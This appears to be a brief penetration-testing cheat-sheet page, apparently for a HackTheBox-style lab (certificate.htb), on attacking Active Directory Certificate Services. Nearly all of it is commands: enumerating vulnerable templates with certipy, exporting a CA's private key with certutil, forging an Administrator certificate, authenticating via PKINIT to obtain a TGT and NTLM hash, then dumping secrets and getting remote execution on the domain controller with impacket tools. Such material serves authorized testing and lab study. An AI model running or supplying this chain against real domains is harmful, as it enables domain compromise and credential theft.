AD Certificates
Identification
certipy find -vulnerable -u <USER>@<DOMAIN> -p <PASSWORD> -dc-ip <DC> -stdoutAttacks
Golden Certificate
Last updated
certutil -store My
# find "Certificate Type: CA" and note the "Serial Number" or "Subject"certutil -exportPFX My "<Serial_Number>" .\ca.pfx# Generate a .pfx file signed by your compromised CA.
certipy forge -ca-pfx ca.pfx -upn Administrator@certificate.htb -subject 'CN=ADMINISTRATOR,CN=USERS,DC=CERTIFICATE,DC=HTB' -out adm_cert.pfx# Authenticate with the certificate you created (Kerberos + PKINIT) and get TGT (.ccache file) and NTLM HASH!
certipy auth -pfx adm_cert.pfx -dc-ip <IP_DC># Use the .ccache ticket
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass -target-ip <DC_IP> -dc-ip <DC_IP> certificate.htb/Administrator@DC01.certificate.htb
impacket-smbclient -k -no-pass -target-ip <DC_IP> -dc-ip <DC_IP> certificate.htb/Administrator@DC01.certificate.htb
impacket-wmiexec -k -no-pass -target-ip <DC_IP> -dc-ip <DC_IP> certificate.htb/Administrator@DC01.certificate.htb
impacket-psexec -k -no-pass -target-ip <DC_IP> -dc-ip <DC_IP> certificate.htb/Administrator@DC01.certificate.htb
...